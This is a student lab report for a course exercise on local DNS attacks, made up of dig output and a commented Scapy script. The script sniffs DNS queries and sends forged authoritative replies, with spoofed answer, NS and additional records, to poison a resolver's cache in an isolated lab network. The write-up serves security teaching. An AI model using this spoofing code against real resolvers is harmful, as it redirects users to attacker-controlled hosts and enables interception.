

CSCD 434 AWS Lab 4 – Local DNS Attack

Task 1.1

I believe the IP address will be 10.9.0.153 as that is the address listed in the document's network map.

```
seed@ip-10-219-1-20: /home/ubuntu/Documents/Labs/Lab4
File Edit View Search Terminal Help
seed@ip-10-219-1-20:/home/ubuntu/Documents/Labs/Lab4$ docksh e1
root@elb76a4d2671:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20700
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3e3c7a4ced2a765d01000000609451e5f26353663f8f40e2 (good)
;; QUESTION SECTION:
;ns.attacker32.com.                IN      A

;; ANSWER SECTION:
ns.attacker32.com.                259200  IN      A      10.9.0.153

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu May 06 20:30:29 UTC 2021
;; MSG SIZE rcvd: 90

root@elb76a4d2671:/#
```

Task 1.2

```
ubuntu@ip-10-219-1-20: ~/Documents/Labs/Lab4
File Edit View Search Terminal Help

seed@ip-10-219-1-20:/home/ubuntu/Documents/Labs/Lab4$ sudo -su ubuntu
ubuntu@ip-10-219-1-20:~/Documents/Labs/Lab4$ dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62229
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                300     IN      A      93.184.216.34

;; Query time: 3 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Thu May 06 20:26:11 UTC 2021
;; MSG SIZE rcvd: 60

ubuntu@ip-10-219-1-20:~/Documents/Labs/Lab4$
```

Task 1.3

```
seed@ip-10-219-1-20: /home/ubuntu/Documents/Labs/Lab4
File Edit View Search Terminal Help
seed@ip-10-219-1-20:/home/ubuntu/Documents/Labs/Lab4$ docksh e1
root@elb76a4d2671:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28203
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 7d873595b04d87dd01000000609452dbfd3c6b37ad25bb49 (good)
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                86400   IN      A      93.184.216.34

;; Query time: 335 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu May 06 20:34:35 UTC 2021
;; MSG SIZE rcvd: 88

root@elb76a4d2671:/#
```

Task 1.4

Without any context for the command, I would assume the IP address would be the same 93.184.216.34 as before, or something in the 10.9.0.x network.

```
seed@ip-10-219-1-20: /home/ubuntu/Documents/Labs/Lab4
File Edit View Search Terminal Help
root@elb76a4d2671:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58783
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: cfb8d9a3ff168f07010000006094531bda65fff932d55e87 (good)
;; QUESTION SECTION:
;www.example.com.                IN      A

;; ANSWER SECTION:
www.example.com.                259200  IN      A      1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Thu May 06 20:35:39 UTC 2021
;; MSG SIZE rcvd: 88

root@elb76a4d2671:/#
```

Task 2.1

```
seed@ip-10-219-1-20: /home/ubuntu/Documents/Labs/Lab4/volumes
File Edit View Search Terminal Help
GNU nano 4.8 cmt dns sniff spoof.py Modified
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
    # Condition for matching the IP address of the packet with the DNS listing for www.example.net
    if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname.decode('utf-8')):

        # Creates an IP object using the packet's source as the destination and the packet's destination
        # as the source
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

        # Creates a UDP object using the packet's source port as the destination port and manually setting
        # the source port to 53
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        # Creates a DNSRR object for the answer section, takes packet's qname for the rname, is of type A,
        # has a time to live of 259200, and a manual IP address of 10.0.2.5
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                       ttl=259200, rdata='10.0.2.5')

        # Creates a DNSRR object for the authority section, takes the matching domain from the original if
        # statement for the rname, type NS, time to live of 259200, and manual domain rdata of
        # ns1.example.net
        NSsec1 = DNSRR(rrname='example.net', type='NS',
                       ttl=259200, rdata='ns1.example.net')

        # Creates another DNSRR object for the authority section, takes the same matching domain from the
        # if statement, same type and time to live, but a different rdata with ns2 as the subdomain
        NSsec2 = DNSRR(rrname='example.net', type='NS',
                       ttl=259200, rdata='ns2.example.net')

        # Each of these listings creates a DNSRR object, using the two rdata domains from the nameserver
        # listings created above, type A, same time to live, and has two manual spoofed IP addresses
        # being 1.2.3.4 and 5.6.7.8
        Addsec1 = DNSRR(rrname='ns1.example.net', type='A',
                        ttl=259200, rdata='1.2.3.4')
        Addsec2 = DNSRR(rrname='ns2.example.net', type='A',
                        ttl=259200, rdata='5.6.7.8')

        # This line creates a DNS object using all of the previously created objects, adds speceified
        # options (authoritative answer, no recursion, query response bit), adds quantities of objects
        # (1 query domain, 1 in answer section, 2 in authority section, 2 in additional section) and
        # specifies the object names for those sections
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                     qdcount=1, ancount=1, nscount=2, arcount=2,
```

^G Get Help	^O Write Out	^W Where Is	^K Cut Text	^J Justify	^C Cur Pos	M-U Undo
^X Exit	^R Read File	^N Replace	^U Paste Text	^T To Spell	^G Go To Line	M-E Redo

```

# This line creates a DNS object using all of the previously created objects, adds speceified
# options (authoritative answer, no recursion, query response bit), adds quantities of objects
# (1 query domain, 1 in answer section, 2 in authority section, 2 in additional section) and
# specifies the object names for those sections
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
             qdcount=1, ancount=1, nscount=2, arcount=2,
             an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)

# This line combines the IP, UDP, and DNS objects into a complete spoofed packet
spoofpkt = IPpkt/UDPpkt/DNSpkt
# This line sends the packet out using the scapy function
send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and dst port 53'
pkt = sniff(iface='br-1efb562e7e6a', filter=f, prn=spoof_dns)

```

Task 2.2

```

seed@ip-10-219-1-20: /home/ubuntu
File Edit View Search Terminal Help
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19151
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.example.net.                IN      A

;; ANSWER SECTION:
www.example.net.                259200  IN      A      10.0.2.5

;; AUTHORITY SECTION:
example.net.                    259200  IN      NS      ns1.example.net.
example.net.                    259200  IN      NS      ns2.example.net.

;; ADDITIONAL SECTION:
ns1.example.net.                259200  IN      A      1.2.3.4
ns2.example.net.                259200  IN      A      5.6.7.8

;; Query time: 15 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun May 09 20:06:00 UTC 2021
;; MSG SIZE rcvd: 206

root@b091528b85d4:/#

```

The spoof.py script prints a line that states “Sent 1 packets.”

Task 2.3

```
seed@ip-10-219-1-20: /home/ubuntu
File Edit View Search Terminal Help
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19438
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.example.net.                IN      A

;; ANSWER SECTION:
www.example.net.                259200  IN      A      1.2.3.4

;; AUTHORITY SECTION:
example.net.                    259200  IN      NS      ns1.example.net.
example.net.                    259200  IN      NS      ns2.example.net.

;; ADDITIONAL SECTION:
ns1.example.net.                259200  IN      A      1.2.3.4
ns2.example.net.                259200  IN      A      5.6.7.8

;; Query time: 11 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun May 09 20:18:31 UTC 2021
;; MSG SIZE rcvd: 206

root@b091528b85d4:/#
```

```
seed@ip-10-219-1-20: /home/ubuntu
File Edit View Search Terminal Help
root@b091528b85d4:/# dig www.bank32.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.bank32.com
;; global options: +cmd
;; Got answer:
;; ->HEADER<<- opcode: QUERY, status: NOERROR, id: 48404
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 888868a26b07210d01000000609843bcd04e5ca2f44f56f8 (good)
;; QUESTION SECTION:
;www.bank32.com.                IN      A

;; ANSWER SECTION:
www.bank32.com.                3600    IN      CNAME   bank32.com.
bank32.com.                    600     IN      A       34.102.136.180

;; Query time: 1079 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun May 09 20:19:08 UTC 2021
;; MSG SIZE rcvd: 101

root@b091528b85d4:/#
```

```
seed@ip-10-219-1-20: /home/ubuntu
File Edit View Search Terminal Help
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun May 09 20:19:08 UTC 2021
;; MSG SIZE rcvd: 101

root@b091528b85d4:/# dig mail.example.net

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.net
;; global options: +cmd
;; Got answer:
;; ->HEADER<<- opcode: QUERY, status: SERVFAIL, id: 23788
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 21fb392b3f6d83b201000000609843da815b3276f8d8a739 (good)
;; QUESTION SECTION:
;mail.example.net.             IN      A

;; Query time: 879 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun May 09 20:19:38 UTC 2021
;; MSG SIZE rcvd: 73

root@b091528b85d4:/#
```


Task 2.4

```
seed@ip-10-219-1-20: /home/ubuntu
File Edit View Search Terminal Help
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43359
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 2

;; QUESTION SECTION:
;www.example.net.          IN      A

;; ANSWER SECTION:
www.example.net.          259200  IN      A      1.2.3.4

;; AUTHORITY SECTION:
example.net.              259200  IN      NS      ns1.example.net.
example.net.              259200  IN      NS      ns2.example.net.
example.net.              259200  IN      NS      ns.attacker32.net.

;; ADDITIONAL SECTION:
ns1.example.net.          259200  IN      A      1.2.3.4
ns2.example.net.          259200  IN      A      5.6.7.8

;; Query time: 11 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun May 09 20:38:26 UTC 2021
;; MSG SIZE rcvd: 248

root@b091528b85d4:/#
```

```
seed@ip-10-219-1-20: /home/ubuntu
File Edit View Search Terminal Help
root@b091528b85d4:/# dig www.bank32.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.bank32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18044
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76d7077b26f3da7601000000609848b8449f592a51849490 (good)
;; QUESTION SECTION:
;www.bank32.com.                IN      A

;; ANSWER SECTION:
www.bank32.com.                3600    IN      CNAME   bank32.com.
bank32.com.                    600     IN      A       34.102.136.180

;; Query time: 1003 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun May 09 20:40:24 UTC 2021
;; MSG SIZE rcvd: 101

root@b091528b85d4:/#
```

```
seed@ip-10-219-1-20: /home/ubuntu
File Edit View Search Terminal Help
root@b091528b85d4:/# dig mail.example.net

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 50399
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 9d1f85bd91f1116401000000609848fb670be72492a83bf8 (good)
;; QUESTION SECTION:
;mail.example.net.             IN      A

;; AUTHORITY SECTION:
example.net.                   3600    IN      SOA     ns.icann.org. noc.dns.icann.org.
2021022341 7200 3600 1209600 3600

;; Query time: 1003 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sun May 09 20:41:31 UTC 2021
;; MSG SIZE rcvd: 138

root@b091528b85d4:/#
```

The seed attacker container showed a “Sent 1 Packets” statement for the first query given.